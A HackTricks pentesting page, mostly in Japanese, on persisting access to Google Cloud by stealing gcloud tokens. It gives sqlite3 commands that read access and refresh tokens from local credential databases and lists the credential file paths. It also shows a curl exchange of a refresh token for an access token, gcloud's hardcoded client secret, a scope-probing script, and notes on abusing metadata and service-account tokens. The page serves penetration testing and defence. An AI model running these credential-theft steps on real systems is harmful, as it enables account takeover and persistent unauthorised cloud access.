# GCP - トークンの永続化

{{#include ../../../banners/hacktricks-training.md}}

### 認証済みユーザートークン

ユーザーの**現在のトークン**を取得するには、次を実行します:

<details>

<summary>Get access token from SQLite database</summary>
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
</details>

このページで **directly use this token using gcloud** の方法を確認してください:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}

**generate a new access token** の詳細を取得するには、次を実行してください:

<details>

<summary>SQLite データベースから refresh token を取得</summary>
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
</details>

また、refresh tokens は **`$HOME/.config/gcloud/application_default_credentials.json`** および **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** に見つかることがあります。

新しい access token を **refresh token**、client ID、client secret を使って取得するには、次を実行します:

<details>

<summary>refresh token を使って新しい access token を取得する</summary>
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
</details>

リフレッシュトークンの有効期間は **Admin** > **Security** > **Google Cloud session control** で管理でき、デフォルトでは16時間に設定されていますが、無期限に設定することもできます:

<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>

### 認証フロー

`gcloud auth login` のようなコマンドを使うと、ブラウザでプロンプトが開き、すべてのスコープを承認すると、ブラウザはツールが開いている http ポートに対して次のようなリクエストを送ります:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.

> [!CAUTION]
> localhost との通信は HTTP で行われるため、データを傍受して refresh token を取得することは可能です。ただしこのデータは一度きりしか有効ではないため無意味であり、ファイルから refresh token を読むほうが簡単です。

### OAuth Scopes

You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:

<details>

<summary>Get all Google OAuth scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
</details>

このスクリプトを使うと、**`gcloud`** が認証に使用するアプリケーションがサポートできるスコープを確認できます:

<details>

<summary>gcloud がサポートするスコープをテスト</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
```
</details>

実行後、このアプリが次のスコープをサポートしていることが確認されました:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
このアプリが **`drive`** スコープをサポートしているのは興味深い。攻撃者がユーザーにこのスコープでトークンを生成させるよう強制できれば、ユーザーが GCP から Workspace にエスカレートする可能性がある。

**これを悪用する方法は** [**abuse this here**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**。**

### サービスアカウント

認証済みユーザーの場合と同様に、サービスアカウントの**プライベートキー ファイルを侵害（compromise）**できれば、そのアカウントに**通常は望む限りアクセスできる**。\
しかし、サービスアカウントの**OAuth token**を盗むとさらに厄介になることがある。通常これらのトークンは1時間ほどしか有効ではないが、**被害者がプライベート API キーを削除しても、OAuth トークンは期限切れになるまで有効なままである**。

### メタデータ

明らかに、GCP 環境で動作しているマシン内にいる限り、**メタデータエンドポイントに問い合わせてそのマシンに紐づいたサービスアカウントにアクセスできる**（このエンドポイントで取得できる OAuth トークンは通常スコープで制限されている点に注意）。

### 対策

これらの手法に対するいくつかの対策は [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) に説明されている

### 参考文献

- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)

{{#include ../../../banners/hacktricks-training.md}}
